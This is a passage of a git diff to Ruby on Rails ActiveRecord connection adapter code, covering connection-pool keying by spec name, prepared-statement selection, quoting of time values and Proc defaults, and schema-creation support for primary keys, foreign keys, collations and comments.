in order to lookup the correct connection pool. class ConnectionHandler def initialize - # These caches are keyed by klass.name, NOT klass. Keying them by klass - # alone would lead to memory leaks in development mode as all previous - # instances of the class would stay in memory. - @owner_to_pool = ThreadSafe::Cache.new(:initial_capacity => 2) do |h,k| - h[k] = ThreadSafe::Cache.new(:initial_capacity => 2) - end - @class_to_pool = ThreadSafe::Cache.new(:initial_capacity => 2) do |h,k| - h[k] = ThreadSafe::Cache.new + # These caches are keyed by spec.name (ConnectionSpecification#name). + @owner_to_pool = Concurrent::Map.new(:initial_capacity => 2) do |h,k| + h[k] = Concurrent::Map.new(:initial_capacity => 2) end end @@ -522,10 +837,8 @@ module ActiveRecord end alias :connection_pools :connection_pool_list - def establish_connection(owner, spec) - @class_to_pool.clear - raise RuntimeError, "Anonymous class is not allowed." unless owner.name - owner_to_pool[owner.name] = ConnectionAdapters::ConnectionPool.new(spec) + def establish_connection(spec) + owner_to_pool[spec.name] = ConnectionAdapters::ConnectionPool.new(spec) end # Returns true if there are any active connections among the connection @@ -542,6 +855,8 @@ module ActiveRecord end # Clears the cache which maps classes. + # + # See ConnectionPool#clear_reloadable_connections! for details. def clear_reloadable_connections! connection_pool_list.each(&:clear_reloadable_connections!) end @@ -554,18 +869,18 @@ module ActiveRecord # active or defined connection: if it is the latter, it will be # opened and set as the active connection for the class it was defined # for (not necessarily the current class). - def retrieve_connection(klass) #:nodoc: - pool = retrieve_connection_pool(klass) - raise ConnectionNotEstablished, "No connection pool for #{klass}" unless pool + def retrieve_connection(spec_name) #:nodoc: + pool = retrieve_connection_pool(spec_name) + raise ConnectionNotEstablished, "No connection pool with id #{spec_name} found." unless pool conn = pool.connection - raise ConnectionNotEstablished, "No connection for #{klass} in connection pool" unless conn + raise ConnectionNotEstablished, "No connection for #{spec_name} in connection pool" unless conn conn end # Returns true if a connection that's accessible to this class has # already been opened. - def connected?(klass) - conn = retrieve_connection_pool(klass) + def connected?(spec_name) + conn = retrieve_connection_pool(spec_name) conn && conn.connected? end @@ -573,9 +888,8 @@ module ActiveRecord # connection and the defined connection (if they exist). The result # can be used as an argument for establish_connection, for easily # re-establishing the connection. - def remove_connection(owner) - if pool = owner_to_pool.delete(owner.name) - @class_to_pool.clear + def remove_connection(spec_name) + if pool = owner_to_pool.delete(spec_name) pool.automatic_reconnect = false pool.disconnect! pool.spec.config @@ -591,63 +905,32 @@ module ActiveRecord # #fetch is significantly slower than #[]. So in the nil case, no caching will # take place, but that's ok since the nil case is not the common one that we wish # to optimise for. - def retrieve_connection_pool(klass) - class_to_pool[klass.name] ||= begin - until pool = pool_for(klass) - klass = klass.superclass - break unless klass <= Base - end - - class_to_pool[klass.name] = pool - end - end - - private - - def owner_to_pool - @owner_to_pool[Process.pid] - end - - def class_to_pool - @class_to_pool[Process.pid] - end - - def pool_for(owner) - owner_to_pool.fetch(owner.name) { - if ancestor_pool = pool_from_any_process_for(owner) + def retrieve_connection_pool(spec_name) + owner_to_pool.fetch(spec_name) do + # Check if a connection was previously established in an ancestor process, + # which may have been forked. + if ancestor_pool = pool_from_any_process_for(spec_name) # A connection was established in an ancestor process that must have # subsequently forked. We can't reuse the connection, but we can copy # the specification and establish a new connection with it. - establish_connection owner, ancestor_pool.spec + establish_connection(ancestor_pool.spec).tap do |pool| + pool.schema_cache = ancestor_pool.schema_cache if ancestor_pool.schema_cache + end else - owner_to_pool[owner.name] = nil + owner_to_pool[spec_name] = nil end - } + end end - def pool_from_any_process_for(owner) - owner_to_pool = @owner_to_pool.values.find { |v| v[owner.name] } - owner_to_pool && owner_to_pool[owner.name] - end - end + private - class ConnectionManagement - def initialize(app) - @app = app + def owner_to_pool + @owner_to_pool[Process.pid] end - def call(env) - testing = env['rack.test'] - - response = @app.call(env) - response[2] = ::Rack::BodyProxy.new(response[2]) do - ActiveRecord::Base.clear_active_connections! unless testing - end - - response - rescue Exception - ActiveRecord::Base.clear_active_connections! unless testing - raise + def pool_from_any_process_for(spec_name) + owner_to_pool = @owner_to_pool.values.find { |v| v[spec_name] } + owner_to_pool && owner_to_pool[spec_name] end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb index c0a2111571..6711049588 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb @@ -18,9 +18,9 @@ module ActiveRecord end # Returns the maximum allowed length for an index name. This - # limit is enforced by rails and Is less than or equal to - # <tt>index_name_length</tt>. The gap between - # <tt>index_name_length</tt> is to allow internal rails + # limit is enforced by \Rails and is less than or equal to + # #index_name_length. The gap between + # #index_name_length is to allow internal \Rails # operations to use prefixes in temporary operations. def allowed_index_name_length index_name_length diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb index 42c794c828..507a925d32 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb @@ -27,9 +27,19 @@ module ActiveRecord end # Returns an ActiveRecord::Result instance. - def select_all(arel, name = nil, binds = []) + def select_all(arel, name = nil, binds = [], preparable: nil) arel, binds = binds_from_relation arel, binds - select(to_sql(arel, binds), name, binds) + sql = to_sql(arel, binds) + if !prepared_statements || (arel.is_a?(String) && preparable.nil?) + preparable = false + else + preparable = visitor.preparable + end + if prepared_statements && preparable + select_prepared(sql, name, binds) + else + select(sql, name, binds) + end end # Returns a record hash with the column names as keys and column values @@ -40,33 +50,39 @@ module ActiveRecord # Returns a single value from a record def select_value(arel, name = nil, binds = []) - if result = select_one(arel, name, binds) - result.values.first + arel, binds = binds_from_relation arel, binds + if result = select_rows(to_sql(arel, binds), name, binds).first + result.first end end # Returns an array of the values of the first column in a select: # select_values("SELECT id FROM companies LIMIT 3") => [1,2,3] - def select_values(arel, name = nil) - arel, binds = binds_from_relation arel, [] + def select_values(arel, name = nil, binds = []) + arel, binds = binds_from_relation arel, binds select_rows(to_sql(arel, binds), name, binds).map(&:first) end # Returns an array of arrays containing the field values. # Order is the same as that returned by +columns+. def select_rows(sql, name = nil, binds = []) + exec_query(sql, name, binds).rows end - undef_method :select_rows - # Executes the SQL statement in the context of this connection. + # Executes the SQL statement in the context of this connection and returns + # the raw result from the connection adapter. + # Note: depending on your database connector, the result returned by this + # method may be manually memory managed. Consider using the exec_query + # wrapper instead. def execute(sql, name = nil) + raise NotImplementedError end - undef_method :execute # Executes +sql+ statement in the context of this connection using # +binds+ as the bind substitutes. +name+ is logged along with # the executed +sql+ statement. - def exec_query(sql, name = 'SQL', binds = []) + def exec_query(sql, name = 'SQL', binds = [], prepare: false) + raise NotImplementedError end # Executes insert +sql+ statement in the context of this connection using @@ -95,7 +111,7 @@ module ActiveRecord exec_query(sql, name, binds) end - # Returns the last auto-generated ID from the affected table. + # Executes an INSERT query and returns the new record's ID # # +id_value+ will be returned unless the value is nil, in # which case the database will attempt to calculate the last inserted @@ -104,20 +120,27 @@ module ActiveRecord # If the next id was calculated in advance (as in Oracle), it should be # passed in as +id_value+. def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = []) - sql, binds = sql_for_insert(to_sql(arel, binds), pk, id_value, sequence_name, binds) - value = exec_insert(sql, name, binds, pk, sequence_name) + sql, binds, pk, sequence_name = sql_for_insert(to_sql(arel, binds), pk, id_value, sequence_name, binds) + value = exec_insert(sql, name, binds, pk, sequence_name) id_value || last_inserted_id(value) end + alias create insert + alias insert_sql insert + deprecate insert_sql: :insert # Executes the update statement and returns the number of rows affected. def update(arel, name = nil, binds = []) exec_update(to_sql(arel, binds), name, binds) end + alias update_sql update + deprecate update_sql: :update # Executes the delete statement and returns the number of rows affected. def delete(arel, name = nil, binds = []) exec_delete(to_sql(arel, binds), name, binds) end + alias delete_sql delete + deprecate delete_sql: :delete # Returns +true+ when the connection adapter supports prepared statement # caching, otherwise returns +false+ @@ -136,7 +159,7 @@ module ActiveRecord # # In order to get around this problem, #transaction will emulate the effect # of nested transactions, by using savepoints: - # http://dev.mysql.com/doc/refman/5.6/en/savepoint.html + # http://dev.mysql.com/doc/refman/5.7/en/savepoint.html # Savepoints are supported by MySQL and PostgreSQL. SQLite3 version >= '3.6.8' # supports savepoints. # @@ -188,19 +211,17 @@ module ActiveRecord # You should consult the documentation for your database to understand the # semantics of these different levels: # - # * http://www.postgresql.org/docs/9.1/static/transaction-iso.html - # * https://dev.mysql.com/doc/refman/5.6/en/set-transaction.html + # * http://www.postgresql.org/docs/current/static/transaction-iso.html + # * https://dev.mysql.com/doc/refman/5.7/en/set-transaction.html # - # An <tt>ActiveRecord::TransactionIsolationError</tt> will be raised if: + # An ActiveRecord::TransactionIsolationError will be raised if: # # * The adapter does not support setting the isolation level # * You are joining an existing open transaction # * You are creating a nested (savepoint) transaction # - # The mysql, mysql2 and postgresql adapters support setting the transaction - # isolation level. However, support is disabled for MySQL versions below 5, - # because they are affected by a bug[http://bugs.mysql.com/bug.php?id=39170] - # which means the isolation level gets persisted outside the transaction. + # The mysql2 and postgresql adapters support setting the transaction + # isolation level. def transaction(requires_new: nil, isolation: nil, joinable: true) if !requires_new && current_transaction.joinable? if isolation @@ -270,9 +291,6 @@ module ActiveRecord exec_rollback_to_savepoint(name) end - def exec_rollback_to_savepoint(name = nil) #:nodoc: - end - def default_sequence_name(table, column) nil end @@ -285,11 +303,16 @@ module ActiveRecord # Inserts the given fixture into the table. Overridden in adapters that require # something beyond a simple insert (eg. Oracle). def insert_fixture(fixture, table_name) - columns = schema_cache.columns_hash(table_name) + fixture = fixture.stringify_keys + columns = schema_cache.columns_hash(table_name) binds = fixture.map do |name, value| - type = lookup_cast_type_from_column(columns[name]) - Relation::QueryAttribute.new(name, value, type) + if column = columns[name] + type = lookup_cast_type_from_column(column) + Relation::QueryAttribute.new(name, value, type) + else + raise Fixture::FixtureError, %(table "#{table_name}" has no column named #{name.inspect}.) + end end key_list = fixture.keys.map { |name| quote_column_name(name) } value_list = prepare_binds_for_database(binds).map do |value| @@ -329,18 +352,12 @@ module ActiveRecord # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work # on MySQL (even when aliasing the tables), but MySQL allows using JOIN directly in # an UPDATE statement, so in the MySQL adapters we redefine this to do that. - def join_to_update(update, select) #:nodoc: - key = update.key + def join_to_update(update, select, key) # :nodoc: subselect = subquery_for(key, select) update.where key.in(subselect) end - - def join_to_delete(delete, select, key) #:nodoc: - subselect = subquery_for(key, select) - - delete.where key.in(subselect) - end + alias join_to_delete join_to_update protected @@ -353,28 +370,15 @@ module ActiveRecord # Returns an ActiveRecord::Result instance. def select(sql, name = nil, binds = []) - exec_query(sql, name, binds) - end - - - # Returns the last auto-generated ID from the affected table. - def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) - execute(sql, name) - id_value - end - - # Executes the update statement and returns the number of rows affected. - def update_sql(sql, name = nil) - execute(sql, name) + exec_query(sql, name, binds, prepare: false) end - # Executes the delete statement and returns the number of rows affected. - def delete_sql(sql, name = nil) - update_sql(sql, name) + def select_prepared(sql, name = nil, binds = []) + exec_query(sql, name, binds, prepare: true) end def sql_for_insert(sql, pk, id_value, sequence_name, binds) - [sql, binds] + [sql, binds, pk, sequence_name] end def last_inserted_id(result) diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb index 5e27cfe507..0bdfd4f900 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb @@ -61,11 +61,11 @@ module ActiveRecord @query_cache.clear end - def select_all(arel, name = nil, binds = []) + def select_all(arel, name = nil, binds = [], preparable: nil) if @query_cache_enabled && !locked?(arel) arel, binds = binds_from_relation arel, binds sql = to_sql(arel, binds) - cache_sql(sql, binds) { super(sql, name, binds) } + cache_sql(sql, binds) { super(sql, name, binds, preparable: preparable) } else super end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb index d2840b9498..860ef17dca 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb @@ -43,9 +43,9 @@ module ActiveRecord # If you are having to call this function, you are likely doing something # wrong. The column does not have sufficient type information if the user # provided a custom type on the class level either explicitly (via - # `attribute`) or implicitly (via `serialize`, - # `time_zone_aware_attributes`). In almost all cases, the sql type should - # only be used to change quoting behavior, when the primitive to + # Attributes::ClassMethods#attribute) or implicitly (via + # AttributeMethods::Serialization::ClassMethods#serialize, +time_zone_aware_attributes+). + # In almost all cases, the sql type should only be used to change quoting behavior, when the primitive to # represent the type doesn't sufficiently reflect the differences # (varchar vs binary) for example. The type used to get this primitive # should have been provided before reaching the connection adapter. @@ -58,7 +58,7 @@ module ActiveRecord end end - # See docs for +type_cast_from_column+ + # See docs for #type_cast_from_column def lookup_cast_type_from_column(column) # :nodoc: lookup_cast_type(column.sql_type) end @@ -77,12 +77,12 @@ module ActiveRecord # Quotes a string, escaping any ' (single quote) and \ (backslash) # characters. def quote_string(s) - s.gsub(/\\/, '\&\&').gsub(/'/, "''") # ' (for ruby-mode) + s.gsub('\\'.freeze, '\&\&'.freeze).gsub("'".freeze, "''".freeze) # ' (for ruby-mode) end # Quotes the column name. Defaults to no quoting. def quote_column_name(column_name) - column_name + column_name.to_s end # Quotes the table name. Defaults to column name quoting. @@ -93,7 +93,7 @@ module ActiveRecord # Override to return the quoted table name for assignment. Defaults to # table quoting. # - # This works for mysql and mysql2 where table.column can be used to + # This works for mysql2 where table.column can be used to # resolve ambiguity. # # We override this in the sqlite3 and postgresql adapters to use only @@ -102,9 +102,13 @@ module ActiveRecord quote_table_name("#{table}.#{attr}") end - def quote_default_expression(value, column) #:nodoc: - value = lookup_cast_type(column.sql_type).serialize(value) - quote(value) + def quote_default_expression(value, column) # :nodoc: + if value.is_a?(Proc) + value.call + else + value = lookup_cast_type(column.sql_type).serialize(value) + quote(value) + end end def quoted_true @@ -123,6 +127,8 @@ module ActiveRecord 'f' end + # Quote date/time values for use in SQL input. Includes microseconds + # if the value is a Time responding to usec. def quoted_date(value) if value.acts_like?(:time) zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal @@ -140,6 +146,10 @@ module ActiveRecord end end + def quoted_time(value) # :nodoc: + quoted_date(value).sub(/\A2000-01-01 /, '') + end + def prepare_binds_for_database(binds) # :nodoc: binds.map(&:value_for_database) end @@ -160,6 +170,7 @@ module ActiveRecord # BigDecimals need to be put in a non-normalized form and quoted. when BigDecimal then value.to_s('F') when Numeric, ActiveSupport::Duration then value.to_s + when Type::Time::Value then "'#{quoted_time(value)}'" when Date, Time then "'#{quoted_date(value)}'" when Symbol then "'#{quote_string(value.to_s)}'" when Class then "'#{value}'" @@ -175,6 +186,7 @@ module ActiveRecord when false then unquoted_false # BigDecimals need to be put in a non-normalized form and quoted. when BigDecimal then value.to_s('F') + when Type::Time::Value then quoted_time(value) when Date, Time then quoted_date(value) when *types_which_need_no_typecasting value diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb index c0662f8473..3a06f75292 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb @@ -1,8 +1,8 @@ module ActiveRecord module ConnectionAdapters - module Savepoints #:nodoc: - def supports_savepoints? - true + module Savepoints + def current_savepoint_name + current_transaction.savepoint_name end def create_savepoint(name = current_savepoint_name) diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb index f754df93b6..6add697eeb 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb @@ -14,18 +14,16 @@ module ActiveRecord send m, o end - def visit_AddColumn(o) - "ADD #{accept(o)}" - end - - delegate :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql, to: :@conn - private :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql + delegate :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql, + :options_include_default?, :supports_indexes_in_create?, :supports_foreign_keys?, :foreign_key_options, to: :@conn + private :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql, + :options_include_default?, :supports_indexes_in_create?, :supports_foreign_keys?, :foreign_key_options private def visit_AlterTable(o) sql = "ALTER TABLE #{quote_table_name(o.name)} " - sql << o.adds.map { |col| visit_AddColumn col }.join(' ') + sql << o.adds.map { |col| accept col }.join(' ') sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(' ') sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(' ') end @@ -37,18 +35,37 @@ module ActiveRecord column_sql end + def visit_AddColumnDefinition(o) + "ADD #{accept(o.column)}" + end + def visit_TableDefinition(o) - create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE " - create_sql << "#{quote_table_name(o.name)} " - create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as - create_sql << "#{o.options}" + create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(o.name)} " + + statements = o.columns.map { |c| accept c } + statements << accept(o.primary_keys) if o.primary_keys + + if supports_indexes_in_create? + statements.concat(o.indexes.map { |column_name, options| index_in_create(o.name, column_name, options) }) + end + + if supports_foreign_keys? + statements.concat(o.foreign_keys.map { |to_table, options| foreign_key_in_create(o.name, to_table, options) }) + end + + create_sql << "(#{statements.join(', ')})" if statements.present? + add_table_options!(create_sql, table_options(o)) create_sql << " AS #{@conn.to_sql(o.as)}" if o.as create_sql end - def visit_AddForeignKey(o) + def visit_PrimaryKeyDefinition(o) + "PRIMARY KEY (#{o.name.join(', ')})" + end + + def visit_ForeignKeyDefinition(o) sql = <<-SQL.strip_heredoc - ADD CONSTRAINT #{quote_column_name(o.name)} + CONSTRAINT #{quote_column_name(o.name)} FOREIGN KEY (#{quote_column_name(o.column)}) REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)}) SQL @@ -57,10 +74,27 @@ module ActiveRecord sql end + def visit_AddForeignKey(o) + "ADD #{accept(o)}" + end + def visit_DropForeignKey(name) "DROP CONSTRAINT #{quote_column_name(name)}" end + def table_options(o) + table_options = {} + table_options[:comment] = o.comment + table_options[:options] = o.options + table_options + end + + def add_table_options!(create_sql, options) + if options_sql = options[:options] + create_sql << " #{options_sql}" + end + end + def column_options(o) column_options = {} column_options[:null] = o.null unless o.null.nil? @@ -70,6 +104,8 @@ module ActiveRecord column_options[:after] = o.after column_options[:auto_increment] = o.auto_increment column_options[:primary_key] = o.primary_key + column_options[:collation] = o.collation + column_options[:comment] = o.comment column_options end @@ -88,8 +124,9 @@ module ActiveRecord sql end - def options_include_default?(options) - options.include?(:default) && !(options[:null] == false && options[:default].nil?) + def foreign_key_in_create(from_table, to_table, options) + options = foreign_key_options(from_table, to_table, options) + accept ForeignKeyDefinition.new(from_table, to_table, options) end def action_sql(action, dependency) diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb index a768ee2d70..bbb0e9249d 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb @@ -1,30 +1,31 @@ -require 'date' -require 'set' -require 'bigdecimal' -require 'bigdecimal/util' - module ActiveRecord module ConnectionAdapters #:nodoc: # Abstract representation of an index definition on a table. Instances of # this type are typically created and returned by methods in database # adapters. e.g. ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter#indexes - class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where, :type, :using) #:nodoc: + class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where, :type, :using, :comment) #:nodoc: end # Abstract representation of a column definition. Instances of this type # are typically created by methods in TableDefinition, and added to the # +columns+ attribute of said TableDefinition object, in order to be used # for generating a number of table creation or table changing SQL statements. - class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :auto_increment, :primary_key, :sql_type) #:nodoc: + class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :auto_increment, :primary_key, :collation, :sql_type, :comment) #:nodoc: def primary_key? primary_key || type.to_sym == :primary_key end end + class AddColumnDefinition < Struct.new(:column) # :nodoc: + end + class ChangeColumnDefinition < Struct.new(:column, :name) #:nodoc: end + class PrimaryKeyDefinition < Struct.new(:name) # :nodoc: + end + class ForeignKeyDefinition < Struct.new(:from_table, :to_table, :options) #:nodoc: def name options[:name] @@ -68,7 +69,7 @@ module ActiveRecord def initialize( name, polymorphic: false, - index: false, + index: true, foreign_key: false, type: :integer, **options @@ -122,23 +123,29 @@ module ActiveRecord end def foreign_key_options - as_options(foreign_key) + as_options(foreign_key).merge(column: column_name) end def columns - result = [["#{name}_id", type, options]] + result = [[column_name, type, options]] if polymorphic result.unshift(["#{name}_type", :string, polymorphic_options]) end result end + def column_name + "#{name}_id" + end + def column_names columns.map(&:first) end def foreign_table_name - name.to_s.pluralize + foreign_key_options.fetch(:to_table) do + Base.pluralize_table_names ? name.to_s.pluralize : name + end end end @@ -175,15 +182,16 @@ module ActiveRecord end CODE end + alias_method :numeric, :decimal end # Represents the schema of an SQL table in an abstract way. This class # provides methods for manipulating the schema representation. # - # Inside migration files, the +t+ object in +create_table+ + # Inside migration files, the +t+ object in {create_table}[rdoc-ref:SchemaStatements#create_table] # is actually of this type: # - # class SomeMigration < ActiveRecord::Migration + # class SomeMigration < ActiveRecord::Migration[5.0] # def up # create_table :foo do |t| # puts t.class # => "ActiveRecord::ConnectionAdapters::TableDefinition" @@ -195,27 +203,30 @@ module ActiveRecord # end # end # - # The table definitions - # The Columns are stored as a ColumnDefinition in the +columns+ attribute. class TableDefinition include ColumnMethods - # An array of ColumnDefinition objects, representing the column changes - # that have been defined. attr_accessor :indexes - attr_reader :name, :temporary, :options, :as, :foreign_keys + attr_reader :name, :temporary, :options, :as, :foreign_keys, :comment - def initialize(types, name, temporary, options, as = nil) + def initialize(name, temporary = false, options = nil, as = nil, comment: nil) @columns_hash = {} @indexes = {} - @foreign_keys = {} - @native = types + @foreign_keys = [] + @primary_keys = nil @temporary = temporary @options = options @as = as @name = name + @comment = comment + end + + def primary_keys(name = nil) # :nodoc: + @primary_keys = PrimaryKeyDefinition.new(name) if name + @primary_keys end + # Returns an array of ColumnDefinition objects for the columns of the table. def columns; @columns_hash.values; end # Returns a ColumnDefinition for the column with name +name+. @@ -224,90 +235,23 @@ module ActiveRecord end # Instantiates a new column for the table. - # The +type+ parameter is normally one of the migrations native types, - # which is one of the following: - # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, - # <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, - # <tt>:datetime</tt>, <tt>:time</tt>, <tt>:date</tt>, - # <tt>:binary</tt>, <tt>:boolean</tt>. - # - # You may use a type not in this list as long as it is supported by your - # database (for example, "polygon" in MySQL), but this will not be database - # agnostic and should usually be avoided. - # - # Available options are (none of these exists by default): - # * <tt>:limit</tt> - - # Requests a maximum column length. This is number of characters for <tt>:string</tt> and - # <tt>:text</tt> columns and number of bytes for <tt>:binary</tt> and <tt>:integer</tt> columns. - # * <tt>:default</tt> - - # The column's default value. Use nil for NULL. - # * <tt>:null</tt> - - # Allows or disallows +NULL+ values in the column. This option could - # have been named <tt>:null_allowed</tt>. - # * <tt>:precision</tt> - - # Specifies the precision for a <tt>:decimal</tt> column. - # * <tt>:scale</tt> - - # Specifies the scale for a <tt>:decimal</tt> column. + # See {connection.add_column}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_column] + # for available options. + # + # Additional options are: # * <tt>:index</tt> - # Create an index for the column. Can be either <tt>true</tt> or an options hash. # - # Note: The precision is the total number of significant digits - # and the scale is the number of digits that can be stored following - # the decimal point. For example, the number 123.45 has a precision of 5 - # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can - # range from -999.99 to 999.99. - # - # Please be aware of different RDBMS implementations behavior with - # <tt>:decimal</tt> columns: - # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <= - # <tt>:precision</tt>, and makes no comments about the requirements of - # <tt>:precision</tt>. - # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30]. - # Default is (10,0). - # * PostgreSQL: <tt>:precision</tt> [1..infinity], - # <tt>:scale</tt> [0..infinity]. No default. - # * SQLite2: Any <tt>:precision</tt> and <tt>:scale</tt> may be used. - # Internal storage as strings. No default. - # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>, - # but the maximum supported <tt>:precision</tt> is 16. No default. - # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127]. - # Default is (38,0). - # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62]. - # Default unknown. - # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38]. - # Default (38,0). - # # This method returns <tt>self</tt>. # # == Examples - # # Assuming +td+ is an instance of TableDefinition - # td.column(:granted, :boolean) - # # granted BOOLEAN # - # td.column(:picture, :binary, limit: 2.megabytes) - # # => picture BLOB(2097152) - # - # td.column(:sales_stage, :string, limit: 20, default: 'new', null: false) - # # => sales_stage VARCHAR(20) DEFAULT 'new' NOT NULL - # - # td.column(:bill_gates_money, :decimal, precision: 15, scale: 2) - # # => bill_gates_money DECIMAL(15,2) - # - # td.column(:sensor_reading, :decimal, precision: 30, scale: 20) - # # => sensor_reading DECIMAL(30,20) - # - # # While <tt>:scale</tt> defaults to zero on most databases, it - # # probably wouldn't hurt to include it. - # td.column(:huge_integer, :decimal, precision: 30) - # # => huge_integer DECIMAL(30) - # - # # Defines a column with a database-specific type. - # td.column(:foo, 'polygon') - # # => foo polygon + # # Assuming +td+ is an instance of TableDefinition + # td.column(:granted, :boolean, index: true) # # == Short-hand examples # - # Instead of calling +column+ directly, you can also work with the short-hand definitions for the default types. + # Instead of calling #column directly, you can also work with the short-hand definitions for the default types. # They use the type as the method name instead of as a parameter and allow for multiple columns to be defined # in a single statement. # @@ -339,7 +283,8 @@ module ActiveRecord # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of # options, these will be used when creating the <tt>_type</tt> column. The <tt>:index</tt> option - # will also create an index, similar to calling <tt>add_index</tt>. So what can be written like this: + # will also create an index, similar to calling {add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index]. + # So what can be written like this: # # create_table :taggings do |t| # t.integer :tag_id, :tagger_id, :taggable_id @@ -359,6 +304,7 @@ module ActiveRecord def column(name, type, options = {}) name = name.to_s type = type.to_sym + options = options.dup if @columns_hash[name] && @columns_hash[name].primary_key? raise ArgumentError, "you can't redefine the primary key column '#{name}'. To define a custom primary key, pass { id: false } to create_table." @@ -370,6 +316,8 @@ module ActiveRecord self end + # remove the column +name+ from the table. + # remove_column(:account_id) def remove_column(name) @columns_hash.delete name.to_s end @@ -383,11 +331,14 @@ module ActiveRecord end def foreign_key(table_name, options = {}) # :nodoc: - foreign_keys[table_name] = options + table_name_prefix = ActiveRecord::Base.table_name_prefix + table_name_suffix = ActiveRecord::Base.table_name_suffix + table_name = "#{table_name_prefix}#{table_name}#{table_name_suffix}" + foreign_keys.push([table_name, options]) end # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and - # <tt>:updated_at</tt> to the table. See SchemaStatements#add_timestamps + # <tt>:updated_at</tt> to the table. See {connection.add_timestamps}[rdoc-ref:SchemaStatements#add_timestamps] # # t.timestamps null: false def timestamps(*args) @@ -399,17 +350,12 @@ module ActiveRecord column(:updated_at, :datetime, options) end - # Adds a reference. Optionally adds a +type+ column, if the - # +:polymorphic+ option is provided. +references+ and +belongs_to+ - # are interchangeable. The reference column will be an +integer+ by default, - # the +:type+ option can be used to specify a different type. A foreign - # key will be created if the +:foreign_key+ option is passed. + # Adds a reference. # # t.references(:user) - # t.references(:user, type: "string") - # t.belongs_to(:supplier, polymorphic: true) + # t.belongs_to(:supplier, foreign_key: true) # - # See SchemaStatements#add_reference + # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference] for details of the options you can use. def references(*args, **options) args.each do |col| ReferenceDefinition.new(col, **options).add_to(self) @@ -420,11 +366,8 @@ module ActiveRecord def new_column_definition(name, type, options) # :nodoc: type = aliased_types(type.to_s, type) column = create_column_definition name, type - limit = options.fetch(:limit) do - native[type][:limit] if native[type].is_a?(Hash) - end - column.limit = limit + column.limit = options[:limit] column.precision = options[:precision] column.scale = options[:scale] column.default = options[:default] @@ -433,6 +376,8 @@ module ActiveRecord column.after = options[:after] column.auto_increment = options[:auto_increment] column.primary_key = type == :primary_key || options[:primary_key] + column.collation = options[:collation] + column.comment = options[:comment] column end @@ -441,10 +386,6 @@ module ActiveRecord ColumnDefinition.new name, type end - def native - @native - end - def aliased_types(name, fallback) 'timestamp' == name ? :datetime : fallback end @@ -475,12 +416,12 @@ module ActiveRecord def add_column(name, type, options) name = name.to_s type = type.to_sym - @adds << @td.new_column_definition(name, type, options) + @adds << AddColumnDefinition.new(@td.new_column_definition(name, type, options)) end end # Represents an SQL table in an abstract way for updating a table. - # Also see TableDefinition and SchemaStatements#create_table 